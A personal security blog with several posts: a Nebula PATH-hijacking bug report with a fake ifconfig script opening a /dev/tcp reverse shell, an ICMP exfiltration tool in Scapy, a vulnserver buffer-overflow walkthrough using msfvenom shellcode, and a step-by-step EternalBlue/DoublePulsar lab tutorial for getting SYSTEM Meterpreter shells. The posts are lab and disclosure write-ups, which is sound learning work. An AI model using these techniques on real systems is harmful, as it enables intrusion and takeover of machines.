5 days ago

In November 2019, Slack announced the release of a network overlay tool, called Nebula. Basically, Nebula is a piece of software that acts as a kind of VPN between different types of hosts and a "lighthouse" server that ties them all together and implements rules and IP addressing. From Slack:

Nebula is a scalable overlay networking tool with a focus on performance, simplicity and security. It lets you seamlessly connect computers anywhere in the world. Nebula is portable, and runs on Linux, OSX, and Windows.

At the end of January 2020, I took a look at the software to determine how it could be used to manage resources on multiple cloud providers, lab environments, and my home network. Off the bat, I found it easy to work with an definitly saw the use case for it - no need for complex VPN server setups, no need to purchase additional hardware - everything just connected nicely and acted as I defined in the yaml files.

But then I noticed something odd - every now and again, when starting the client, it would hang for a moment. I noticed this was inconsistent on differnet hosts, so I decided to take as look at what it was doing under the hood. Here's an excerpt from the tun_darwin.go file:

if err = exec.Command("ifconfig", c.Device, c.Cidr.String(), c.Cidr.IP.String()).Run(); err != nil {

Notice anything strange? exec.Command calls the "ifconfig" command with three arguments. In our case, running on Mac OS, ifconfig is stored in /sbin/ - but the command doesn't specify that. See, Bash-based shells (including zsh on MacOS) run commands by searching for them in a specific order. Each time you run a command without an absolute path (lets use the example "foo"), the shell searches for "foo" as a shell function, then as a builtin, then looks in the directories listed in the environmental variable $PATH, in order of appearance. The last part is important; if your PATH variable looks like this (find this with 'env')...


...then your command execution order is /usr/local/bin -> /usr/bin -> /bin -> /usr/sbin/ -> /sbin. Bash will only execute the first command it finds - meaning if "foo" exists in /usr/local/bin and another version exits in /sbin/, the version in /usr/local/bin will fire.

As a standard user, we probably can't modify any of these directories. However, we can change the order in which they appear - and even prepend our own directories to the variable. See where this is going? If Nebula calls "ifconfig," and the shell searches the path in order, and we can add a directory we can write to in front of the valid location of ifconfig...we can control what file or script Nebula is actually executing. So, lets do that.

First, we create the file in a directory we can write to. All users can typically write to /tmp, so lets create the file /tmp/ifconfig and add the following:

bash -i >& /dev/tcp/ 0>&1 &
/sbin/ifconfig $1 $2 $3

The breakdown here: First, we tell the file its going to execute a bash script. On line 3, we add a command to pass the three arguments that Nebula is passing over to /sbin/ifconfig, to ensure Nebula gets a valid connection after our exploit. But sandwiched between the two, we're creating a reverse TCP bash shell out to on port 443 - which Nebula will execute and send to the background before finishing its connection routine. Make the command executable with "chmod +x /tmp/ifconfig"

Now we have to change our path. Because /sbin/ifconfig lives in /sbin, which is the final entry in our PATH variable, lets tack /tmp to the front of PATH:

export PATH=/tmp:$PATH

This changes PATH to /tmp:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin/ - meaning when our shell finds our malicious "ifconfig" script in /tmp, it executes it and gives us a reverse shell.

Now, what does this do for us? On the surface not a lot, because Nebula has to be executed as root to make changes to the system's network. But thats also the ace up our sleeve - if we're able to make these changes and wait for the user or user's admin to launch Nebula with sudo or as root, we gain remote shell as root, for some pretty serious privilege escalation. Nebula must also be restarted to make changes to certain firewall rules - so if you can social engineer your way to a user restarting the program (again, with sudo) you can get your root shell. Here it is in action:

Vulnerable MacOS Client

Attacker Listener Server

The fix here is simple, and an oversight many developers fall victim to: just use absolute paths. By modifying the line above to...

if err = exec.Command("/sbin/ifconfig", c.Device, c.Cidr.String(), c.Cidr.IP.String()).Run(); err != nil

...we effectively kill this technique by giving Nebula an absolute path to ifconfig.

All in all, I found six instances of the relative path command execution in both the tun_darwin.go and tun_windows.go files. I reported the issue to Slack on January 28th via the HackerOne platform with the following timeline:

  • Jan 28, 2020: Initial Report to Slack
  • Jan 30, 2020: Acknowledgement from Slack
  • Jan 30, 2020: Provided additional information to Slack
  • Jan 31, 2020: Acknowledgement from Slack
  • Feb 4, 2020: Requested Update from Slack
  • Feb 7, 2020: Requested Update from Slack
  • Feb 10, 2020: Acknowledgement from Slack
  • Feb 14, 2020: Slack responded that they could not reproduce the issue, requested more info
  • Feb 17, 2020: Sent additional info, screenshot, and walkthrough video to Slack
  • Feb 19, 2020: Acknowledgement from Slack
  • Feb 19, 2020: Traiged
  • Feb 21, 2020: Issue resolved in Github commit 191: "use absolute paths on darwin and windows (#191)"
  • Feb 21, 2020: Verified fix was in place and worked
  • Feb 21, 2020: Requested timeline for bounty and disclosure
  • Feb 25, 2020: Awarded $750 Bounty.
  • Feb 25, 2020: Requested Disclosure, automatically granted 30 day disclosure timeline
  • Apr 1, 2020: Disclosed

While I reported this bug as a High, Slack reduced it to a Medium severity with the following explanation: "While the impact here is high the vulnerability requires a high degree of access and other preconditions that are tough to achieve which impacts the overall risk." While I don't entirely agree with that statement, I understand their viewpoint.

In closing, developers - remember to always use absolute paths or native syscalls in your applications, and always consider how much need there is to call an external command from within your application. Thanks to Slack for a quick fix after triage, and for the bounty!

over 1 year ago

With the craziness of the holiday season and travel over, I figured I'd jump on blog post #2. One of the relatively new concepts to me in SEC660 was packet manipulation with Scapy. If you've taken any of the other SANS classes like 560, or deal with IDS/Firewalling/Network Forensics, youre probably familiar with how powerful it is - I'd heard of it in passing, but never had hands on it. So as a refresher, i spent a few wonderfully frustrating hours writing a simple data exfiltration tool in Python3 using Scapy. I wanted to do the following:

  1. Write a script that would create an ICMP packet using Scapy
  2. Add a payload I defined and could change
  3. Send the ICMP packet to a target host, again using Scapy
  4. On the target host, run a program that sniffs packets with Scapy
  5. When an ICMP packet was detected on the target host, print the payload.

Seems easy enough, right? I thought so, too. First thing's first, make sure Python3 and Scapy are installed (pip3 install scapy should do it). Scapy has an interactive interface you can run with the 'scapy' command at a terminal:

In the interactive console, we can run commands directly without using Python or another language. Since I wanted to send an ICMP packet, I looked up at how to craft a simple ICMP packet itself; at a minimum, we can use the following:


So to send a single, simple ICMP packet to Google's DNS server at, we'd use:


Easy enough. Now we need a mechanism to send packets. There are three we'll talk about here; send, sr, and sr1. Send does just what you think it'd do; it sends the packet. This is fine, our data gets out and to our target assuming the network is doing what it should. But thats not much help for things like ICMP, where we expect a reply. Thats where sr comes in handy - it sends and receives packets. Finally, sr1 sends and receives one single packet. We can wrap any of these around the constructed packet above:


Well, it does what it says on the box, but not much beyond that. Lets try sr:


Thats much more useful. We can play around with it a bit more, and assign it to a variable, then do things like call the summary:

You can probably see this being pretty useful in both offensive and defensive security. Now that I was off to a good start, I fired up SublimeText and started putting together a basic script to send ICMP packets based on user input. Thats where I ran into a huge headache. Long story short, and let me save you a whole bunch of headache: on a system with multiple interfaces, Scapy doesn't always select the one you want to use. That means if its selected lo0 (your loopback interface), you're going nowhere fast. If it's selected tun0, and you arent on VPN, same deal. You can both print your current interface and change it using the following commands:

 conf.iface = "your network interface (eth0/en0/etc)" 

Set this before you go much farther, and set it in your script; otherwise, your packets are going to go out of a disconnected or nonroutable interface. However, this gave me a great opportunity to build in an automatic interface detector which I'll discuss in a bit. First lets build out a basic python script:

        #!/usr/bin/env python3
        from scapy.all import *

        conf.iface = "en0"

        scapypkt = IP(dst="")/ICMP()
        send_packet = sr(scapypkt)
        print("Packet Sent!")

If we run the program with Wireshark open, we can see the packet send:

So, the payload. Right now we're sending empty packets - by making a simple modification to the packet construction, we can add in a payload as well:


Now when we send the packet, heres what we see in Wireshark:

So this got me thinking - could we simply use the payload field to stuff data from one system and send it to another with Scapy? Absolutely.

I'll save you the trouble of writing a script and explaining Python code, but here's what I came up with: https://github.com/highmeh/gxpn_study/blob/master/scapy_icmp_payload.py

The script is basic, but it has the following:

  • Uses argparse to take user input. Users can enter a target IP, a payload, an interface, or have the script auto-select the interface.
  • If the user chooses to auto-select the interface, the script uses 'netifaces' to parse through all interfaces, and check for the presence of an IP address. If an IP address exists, it tries to ping The first interface that meets these criteria is assigned as the active interface using conf.iface.
  • It builds and sends the package with the user's payload included.

So lets give it a whirl:

We can see in Wireshark the packet was received and the payload is included. You can also see the host reaching out to in an earlier packet, during the interface auto-selection process.

So now that we're able to send payloads, I wanted to create a simple listener I could run on another machine to parse out the payload portion. Here's the script I came up with:


This is a pretty straightforward script. It uses Scapy's "sniff" function to look for an ICMP packet. When it receives one, it strips out and prints the payload to the screen, then exits. This could be the start of a very, very basic ICMP C2 server - with the other script being a data exfiltration tool. Lets see what happens when we try to send the hostname from our main host to our sniffer:

There we have it - the sniffer script captures the ICMP packet, strips out the payload, and prints it. Wireshark catches it as well.

This isn't anything groundbreaking, or even well coded - but I needed a small project to put together in a few hours that would refresh my memory on Scapy before diving into the SEC660 books and reviewing/indexing. Worked pretty well; I'm looking forward to using Scapy more both during cert prep and during engagements at work.

over 1 year ago

Today's goal is simple: reacquaint myself with basic stack-based buffer overflows that don't require you to fight DEP or ASLR or Stack Canaries or any other system protections. This is the basic "My First Exploit" kind of thing, but its good practice and frankly I haven't done it since SEC660 ended. So here we go.

First off, we'll be working with the following:

  • Attacker Box: Kali Rolling at
  • Victim Box: Windows 7 Professional with Service Pack 1 at
  • Victim Box: Running "vulnserver.exe"
  • Victim Box: Running Immunity Debugger

I'll leave explaining the concepts behind Buffer Overflows to other posts; but essentially we want to do the following:

- Locate the position of the buffer overflow
- Fine-tune it so we can control EIP (which controls the next set of instructions)
- Determine which "bad" characters will throw off our exploit for future reference
- Locate a JMP ESP instruction we can point to our exploit code

A quick caveat: I originally wrote all the code here in Python3, which is my preferred language. It turns out how it encodes data is a pain, so I've swapped it for Python2 code. Use 3 if you want but remember its going to have some unintended consequences.

Oh hey, another caveat: I'm not a developer, so code will be rough at best. Additionally, this isn't a tutorial - its review for myself. Input greatly appreciated, but if you're looking for anything more than a refresher, I'd suggest checking out another blog.

Okay, lets do this.

First off, launch vulnserver.exe. You get a simple interface that tells you when a client connects. The server runs on port 9999/TCP. On the Kali box, log into it with "nc 9999"

You can see running the HELP command gives you a bunch of options. Vulnserver.exe was created with the intent to be a buffer overflow training tool. Nothing really interesting happens with the commands; however, we're going to look at TRUN which is vulnerable to a buffer overflow. Remember: The format here is "TRUN .value" followed by the enter key - so our format for submitting a payload will be "TRUN ." + BOF/Exploit Code + "\r\n"

First, we need to see what position the buffer overflow actually is actually at. We're going to do this by writing some quick code that'll send a number of characters, in this case, "A" or "\x41" to the server and seeing how it reacts. "A" is arbitrary, but its easy to recognize in dumps; use whichever character you want. Start Vulnserver.exe, start Immunity Debugger, attach Immunity to the "vulnserver.exe" process, and hit the Start button. Immunity is now ready to capture whatever happens to vulnserver.exe for analysis. We want to end up with a crash, and then we want to control EIP to control what happens during the crash.

Here's the basic code I ended up with to fuzz the server. I started with an arbitrary number of "A"s - 2,500 - by sending the command "./attack.py -t -p 9999 -l 2500". The server crashed. So we have established that 2500 causes a crash. I restarted vulnserver.exe and Immunity, re-attached, and sent a payload of 1,000 "A"s - no crash this time. I repeated this until I determined that it would crash above about 2,000, and was still crashing at 3,000. As you can see here, I can see my "A" characters ("\x41," remember) in the memory registers, but not where I need them (in EIP):

So we need to fine-tune exactly where EIP is located; how many "A"s do we send before we get there? We can find out by using a set of Metasploit tools, "pattern_create.rb" and "pattern_offset.rb". Pattern Create creates a non-repeating pattern that you send as your attack payload. You then take the value that lands in EIP and feed it into Pattern Offset, which tells you exactly how many characters of it'll take to land you in EIP. I decided since vulnserver.exe was still crashing at 3,000 characters, I'd create a pattern of 3,000 nonrepeating sequences and send that to vulnserver with the following command:

> root@notevil:~/gxpn# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag...[continues]

Another quick note: If you're using vim, Syntax highlighting breaks by default at 3,000 characters, which means your vim session suddenly looks like things have gone terribly wrong. Do yourself a favor and add in "syntax on" and "set synmaxcol=0" in your ~/.vimrc file. Okay, sidenote over.

I updated my python script to send the above value as the "attack_payload" and send it to vulnserver.

Now we can look at EIP and see that it has a value of 43396F43. We can also see our non-repeating pattern in other parts of the stack. We'll now decode the position of 43396F43 using pattern offset:

Looks like we're set at 2007. So, we update the script again: now the number of "A"s is set to 2007, and we insert a few "B" characters ("\x42") afterward to make sure we're in control of EIP. If this works as intended, we should get all four "B"s in EIP. We'll also pad the attack since we know 3,000 chars crashes it, by filling the rest of the 3,000 character space with "C"s.

And we run the script:

Well, crap. EIP shows 3 of the "B" characters, and one of the "A" characters ("42424241" = "\x42\x42\x42\x41" = "BBBA") meaning one of two things happened: The pattern offset tool was wrong by one character, or (much more likely) I screwed something up. Fortunately its only one character too many, so we'll adjust the code to use 2006 "A"s instead. Adjustments made:

And lets run it again:

If you right-click ESP and select "Follow in Dump," you can see our padding of "C" characters - which is great, because they represent where our exploit code is going to go. So far, so good.

This would be a good time to test for bad characters - that is, characters that will, if included, cause problems in our exploitation of vulnserver.exe. In the past, I've always auto-disincluded troublesome characters like "\x00" "\x0a" "\x0d" and "\x20" - they represent things like carriage returns, line breaks, spaces, etc - not something you want to include when you're trying to run code. The most common method I've seen to check for others is to iterate through a list of all characters, and follow the dump to see where things go corrupt. Ideally, in the stack, if you send a 0x46, you should see a 46 - if 0x46 is a badchar, its going to be something else. So you go through, find where things go wonky, remove that from the list, and send the updated list. For reference, here's a badchar list I use:

> badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

I've pulled out the typically troublesome characters mentioned above already. I'll set these as my payload in the Python script and fire it off at Vulnserver, examining the results in Immunity:

We can see in the dump that all characters sent iterate, from \x01 to \xff, so we're in good shape! Now we need to find a JMP ESP instruction to put into EIP, to have it execute the shellcode we'll create in a few minutes.

For this, we can use the Mona module from Corelan. In the command bar of Immunity, we'll use Mona to search for an address that contains a JMP ESP instruction, is NOT using ASLR or any other buffer overflow defenses, and then pop that into our code as the EIP location.

In the Immunity command bar, type in "!mona modules" to list loaded modules. It does a great job of showing us what defenses are in place - for our purposes, we're looking for "false" across the board, and we have two options:

We can use essfunc.dll or vulnserver.exe itself - but look at the addresses. Vulnserver.exe starts with 0x00, meaning at some point we'll hit a badchar identified above and everything breaks. Instead, we can use essfunc.dll. We know we need a JMP ESP instruction; and we also know the JMP ESP instruction can be decoded to "ffe4" (or "\xff\xe4") - if you need to look this up, check out Metasploit's NASM shell at /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb and type "jmp esp".

The mona command to search for JMP ESP inside of essfunc.dll is:

!mona find -s "\xff\xe4" -m "essfunc.dll". We can see a few good candidates:

I picked the first one, because its late and I'm tired - 0x625011af; there's no ASLR or any other defenses. Remember that we'll need to swap this to Little Endian format, so drop the 0x and reverse the bytes to "\xaf\x11\x50\x62" - thats what we want to land into EIP.

Lets update our attack code again. Set the EIP, and this time I'm going to add some NOPs (NO OPS) to put a little padding between the EIP and the exploit. I'm also going to generate shellcode using MSFVenom - I want a reverse command shell back to my box, exlcuding the bad characters identified earlier, i want it in Python format, and I'm going to set the variable name to "exploit":

Copy everything from 'exploit = \"\"' on down, and paste it into the exploit. Then we modify the exploit to adjust the length of padding and NOPs, and slap our exploit code right between the NOPs and padding:

Then we fire up msfconsole, start multi/handler, set the payload, port, and IP, and run the handler:

Fire off the exploit one more time...

And we have a shell!

Using a simple buffer overflow, we've gained access over the PC running vulnserver.exe and can continue hacking away at it from the shell provided.

over 1 year ago

Its been quite a while since I updated this site. For the next short while, the focus is going to be pretty specific: GIAC Advanced Penetration Testing and Exploit Development (GXPN) prep.

I was lucky enough to be chosen as a facilitator for SANS SEC660 at SANS Network Security; a class I've wanted to take for a long time. It was a brain-meltingly good class, especially the final two days: "Exploiting Linux for Penetration Testers" and "Exploiting Windows for Penetration Testers." While I'm no stranger to basic Buffer Overflow writing thanks to OSCP, this stuff was next level and honestly some of the most difficult coursework I've ever done. So for the next 60 days I'll be regularly updating the blog with materials and walkthroughs to make sure I understand all of the core concepts (maybe helping some other folks understand things along the way) and to stay accountable and on track. Note that this won't have any direct materials or labs from the books, the SANS course, nor will I post any of the practice exam or practical exam questions.

While I'll be talking about all concepts in the books, the areas I need most work will be the main focus (From the GIAC GXPN Description Page):

Advanced Fuzzing Techniques
The candidate will be able to develop custom fuzzing test sequences using the Sulley framework.

Advanced Stack Smashing
The candidate will demonstrate an understanding of how to write advanced stack overflow exploits against canary-protected programs and ASLR.

Advanced Fuzzing Techniques
The candidate will be able to develop custom fuzzing test sequences using the Sulley framework.

Introduction to Memory and Dynamic Linux Memory
The candidate will demonstrate a basic understanding of X86 processor architecture, Linux memory management, assembly and the linking and loading process.

Introduction to Windows Exploitation
The candidate will demonstrate an understanding of Windows constructs required for exploitation and the most common OS and Compile-Time Controls.

Python and Scapy For Pen Testers
The candidate will demonstrate an understanding of the ability to read and modify Python scripts and packet crafting using Scapy to enhance functionality as required during a penetration test.

The candidate will demonstrate the ability to write shellcode on the Linux operating system, and demonstrate an understanding of the Windows shellcode methodology.

Smashing the Stack
The candidate will demonstrate an understanding of how to write basic exploits against stack overflow vulnerabilities.

Windows Overflows
The candidate will demonstrate an understanding of how to exploit Windows vulnerabilities on the stack, and bypass memory protections.

The first post I'm working on, basic Stack-Based Buffer Overflows without ASLR/DEP/ETC, and basic fuzzing, should be up soon. In the meantime, if you have resources you'd like to share please do send them my way - via comments or on twitter at @highmeh

almost 3 years ago

(NOTE: This is part three in a short series. If you haven't installed an EternalBlue backdoor in your Victim machine, please read Part 2.)

To recap where we are so far: You've installed Python 2.6 and its prerequisites. You can launch Fuzzbunch without errors, and you've backdoored your Victim box. You have a Windows Attack box, a Windows Victim Box, and a Kali box - and all three are on the same network and can communicate with each other. Please revisit the previous posts if this doesn't describe your situation. Otherwise, lets hack things.

Now that we have a backdoor installed, we're going to inject a Meterpreter DLL into a running process on your victim machine, and get a shell as NT Authority\System, the equivalent of root on a Windows box. For this section of the process, I'll assume the following:

  1. You are familiar with the Linux command line.
  2. You have basic familairity with Metasploit, specifically the msfconsole and msvenom tools. If you arent familiar with these, Offensive Security's Metasploit Unleashed is a great primer available for free.
  3. You have backdoored your Victim box successfully.

Creating the Meterpreter payload and starting your Kali listener
Let's start by creating a malicious DLL file. The DLL we create is going to run the payload windows/x64/meterpreter/reverse_tcp which creates a 64-bit Meterpreter Reverse TCP connection to an IP address we specify. As noted in Part 2, my Kali system is located at

  1. Use the following command to generate the DLL: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=9898 -f dll -o meterpreter.dll. This uses the payload mentioned, connecting back to, on port 9898. It uses the DLL format and outputs the payload to a file called meterpreter.dll.
  2. Copy the DLL over to your Windows Attack box. How you do this is up to you, but a quick and dirty way is to run python -m SimpleHTTPServer on your Kali box, and use a web browser from the Windows Attack box to browse to and download it directly.
  3. Start up msfconsole on Kali and use exploit/multi/handler. We're going to catch our shell here - so use the parameters you set in the DLL by typing set LPORT 9898. You can probably get away without setting the LHOST, but if you want to be sure, type set LHOST as well. Finally, I had some issues with the exploit failing when I didnt set a payload manually. Avoid that by typing set PAYLOAD windows/x64/meterpreter/reverse_tcp. Lastly, type exploit to start your listener. Lots of info in this step, so here's what you should see:

  1. If everything looks good, its time to go back to the Windows Attack box. Fire up Fuzzbunch if its not already running, and use doublepulsar.

Injecting the DLL and catching a shell

Like EternalBlue, DoublePulsar will attempt to fill in default module settings for you. We're going to change things, so when you see Prompt for Variable Settings? [Yes]:, hit enter.

  1. NetworkTimeout [60]: This is fine unless youre on a slow link. Hit enter. If you notice timeouts, come back to this section and bump it up to 90 or 120 seconds.
  2. TargetIP []: This should be what you entered when starting Fuzzbunch. If you need to retype it, do so now - otherwise, hit enter.
  3. TargetPort [445]: DoublePulsar targets SMB. If your SMB port is not 445 (which is standard), enter it here. For everyone else, hit enter.
  4. Protocol: Since we're using SMB here, make sure SMB is selected.
  5. Architecture: Make sure you have this set correctly. If you use x86 on an x64 box, you'll get a blue screen of death.
  6. Function: DoublePulsar can run shellcode, or run a DLL. Select 2 to Run a DLL.
  7. DllPayload []: This is the full path to your Meterpreter DLL; for example, C:\temp\meterpreter.dll
  8. DllOrdinal [1]: DLL files call functions by ordinal numbers instead of names. Unfortunately this is out of my scope of knowledge - in my experimentation, I used trial and error until an ordinal number worked. In this case, set your ordinal to 1. If 1 is incorrect, you'll quickly find out via a blue screen of death, nothing happening at all, or the RPC server on the Victim box crashing. Know a great way to determine the ordinal? Please drop me a line.
  9. ProcessName [lsass.exe]: The process name you'll inject into. This is your call - pick something run as NT Authority\System, that is also unlikely to crash when disturbed, and is likely to exist and be running on the Victim machine. DoublePulsar uses lsass.exe by default - this works fine, but some Meterpreter actions (such as hashdump) will likely cause it to crash. You can consider spoolsv.exe, SearchIndexer.exe, and lsm.exe as well - experiement a bit with this field.
  10. ProcessCommand []: Optional, the process command line to inject into. Leave this blank.
  11. Destination IP []: Local tunnel IP. For this scenario, leave it as default.
  12. Destination Port [445]: Local tunnel port. Again, we'll leave this default.

You should now have a summary of the changes you've made, which should look like this:

If everything looks good, hit enter to launch your exploit. DoublePulsar will connect, check on the EternalBlue backdoor, and inject the DLL. You should see a [+] Doublepulsar Succeeded message. Here's what the attack looks like from your Windows box:

And now the good part - open up your Kali box. If everything has gone well, you've now got a meterpreter session open, and you should have NT Authority\System. w00t!

In the next post, we'll do the same thing with PowerShell Empire. Sick of the Red Team stuff? Coming up are event viewer logs for each of the steps described, PCAPs of each attack, and an analysis of what hits the disk when you launch EternalBlue and DoublePulsar.

almost 3 years ago

(NOTE: This is part two in a short series. If you haven't configured your environment, please read Part 1.)

By now, your environment is configured, you've been able to launch the Fuzzbunch framework, and you're probably ready to hack something. In this article we'll go through the process of using EternalBlue to create a backdoor. I'm going to make the following assumptions:

  1. You have configured a local VM network with 1 Windows attack machine and 1 Windows 7 victim machine.
  2. You have gone through the first blog post and can launch the Fuzzbunch framework.
  3. You have basic command of the Windows operating system and command line.

For reference, in my lab environment, this is the setup:

  1. Attacker Box - Windows 7 SP1 x64.
  2. Kali Box - Kali Rolling. (We'll use this in Part 3)
  3. Victim Box - Windows 7 SP1 x64, without the MS17-010 patches applied.

In the next tutorial we're going to use the DLL injection function in DoublePulsar - however, the first step in this process is to backdoor the Victim with Eternal Blue. Launch Fuzzbunch, and enter the following:

Default Target IP Address []:
Default Callback IP Address []:
Use Redirection [yes]: no
Base Log directory [D:\logs]: c:\fb_logs

If you have run Fuzzbunch in the past, you may see a list of projects. If this is your first run, you'll see a prompt to select or create a new project. Select [0] to create a new project. Give it a name, and you should see something like this:

Time to backdoor our Windows box. Remember that exploits run through EternalBlue (the backdoor itself), so this is a critical step.

  1. Type use eternalblue
  2. Fuzzbunch populates your options with defaults. The good news is, this is mostly correct out of the box. It'll ask if you want to be prompted for variables - lets go through this, as there is one default we're going to change. Types yes or hit enter to continue.
  3. NetworkTimeout [60]: This is fine unless youre on a slow link. Hit enter. If you notice timeouts, come back to this section and bump it up to 90 or 120 seconds.
  4. TargetIP []: This should be what you entered when starting Fuzzbunch. If you need to retype it, do so now - otherwise, hit enter.
  5. TargetPort [445]: EternalBlue targets SMB. If your SMB port is not 445 (which is standard), enter it here. For everyone else, hit enter.
  6. VerifyTarget [True]: You can set this to False to speed things up - but its a good idea to verify the target exists and is vulnerable before firing things off.
  7. VerifyBackdoor [True]: Verify that your backdoor exploit actually succeeds.
  8. MaximumExploitAttempts [3]: How many times should EternalBlue attempt to install the backdoor? I have seen EternalBlue fail the first attempt and succeed the second - so I'd recommend leaving it at 3.
  9. GroomAllocations [12]: The number of SMB Buffers to use. Accept the defaults.
  10. Target [WIN72K8R2]: In our example, we're targetting Windows 7. If you're using XP, select the appropriate option.
  11. Mode :: Delivery Mechanism [FB]: We're going to use Fuzzbunch. In a future post, we'll discuss DARINGNEOPHYTE.
  12. Fuzzbunch Confirmation: This confirms that you want to use Fuzzbunch.
  13. Destination IP []: This is for your local tunnel. In our example, keep it as default
  14. Destination Port [445]: As per above, this is for your local tunnel. Accept the default.
  15. You should now see a summary of the configured EternalBlue module, as seen below:

Everything look good? Hit enter, and we'll see Fuzzbunch backdoor the victim machine. This happens quick, but the authors have made a point of a celebratory =-=-=WIN=-=-= banner.

Here's the exploit in its entirety, from answering yes to a successful backdoor.

Note that EternalBlue checks for the existance of a backdoor before continuing. If you see =-=-=-=-=WIN=-=-=-=-= toward the end, and a green [+] Eternalblue Succeeded message then congratulations! You've just launched a nation state exploit against an unsuspecting lab machine. I'd suggest running through these steps again, right away, to see how things play out when you try to backdoor a box that has already been backdoored with EternalBlue. In the next post, we'll pop a Meterpreter shell as NT Authority\System in minutes flat.

almost 3 years ago

By now, you've likely heard about the Shadow Brokers and their alleged NSA tool dump. Regardless of whether you believe it was or was not the toolset of a nation-state actor, at least one thing is true: this stuff works, and it works well.

In this blog series I'll walk through some of what I've learned from the dump, focusing specifically on two tools: Eternal Blue, a tool for backdooring Windows via MS17-010, and DoublePulsar, an exploit that allows you to inject DLLs through the established backdoor, or inject your own shellcode payload. In this first post, we'll walk through setting up the environment and getting the front-end framework, Fuzzbunch, to run.

tl;dr - sweet nation-state level hax, remote unauthenticated attacks that pop shells as NT AUTHORITY\System. Remember MS08-067? Yeah, like that.

Setting up the environment

  1. To get going, fire up a Windows 7 host in a virtual machine. Dont worry about the specs; all of my research and testing has been done in a Virtualbox VM with 1GB ram, 1 CPU core, and a 25GB hard drive.
  2. First and foremost, git clone (or download the zip) of the Shadowbrokers Dump. You should be able to grab it from x0rz' github.
  3. The exploits run through a framework not entirely unlike Metasploit. The framework itself runs in Python, so we need to grab a copy of Python 2.6 for Windows. If you catch yourself wondering why you're installing a 9 year old copy of Python, remember that the dump is from 2013, and the tools had been in use for a while. Fire up the DeLorean because we're about to go way back.
  4. Add Python to your environmental path by going to Control Panel > System > Advanced System Settings > Environmental Variables and add C:\Python26 to the PATH field.
  5. Because you're running Python on Windows, there are a bunch of dependencies you'll need to install. The easiest way to overcome this is to install the Python for Windows Extensions, also known as PyWin. Grab a copy of PyWin 2.6 here.
  6. PyWin will very likely fail on its final step. No problem: open an administrator command prompt, cd C:\python26\scripts and run python pywin32_postinstall.py --install. Python and its dependencies should now be installed.
  7. We're now ready to launch the Fuzzbunch Framework. Navigate to the folder you downloaded the exploits, and cd windows. You'll need to create a folder called listeningposts or the next step will fail; so, mkdir listeningposts.
  8. You should now be able to launch Fuzzbunch - use python fb.py to kick it off.

Thats about it to get the software running. You'll be asked a few questions, such as your Target IP, Callback IP (your local IP address), and whether you want to use Redirection. For now, choose no. Fuzzbunch will ask for a Logs directory - this is a pretty cool feature that stores your attack history and lets you resume from where you left off. Create a Logs directory somewhere.

At this point I'd encourage you to explore the interface; its fairly intuitive, sharing many commands with Metasploit (including help and ? -- hint hint). In the next post, we'll launch an actual attack through Meterpreter and Powershell Empire DLLs.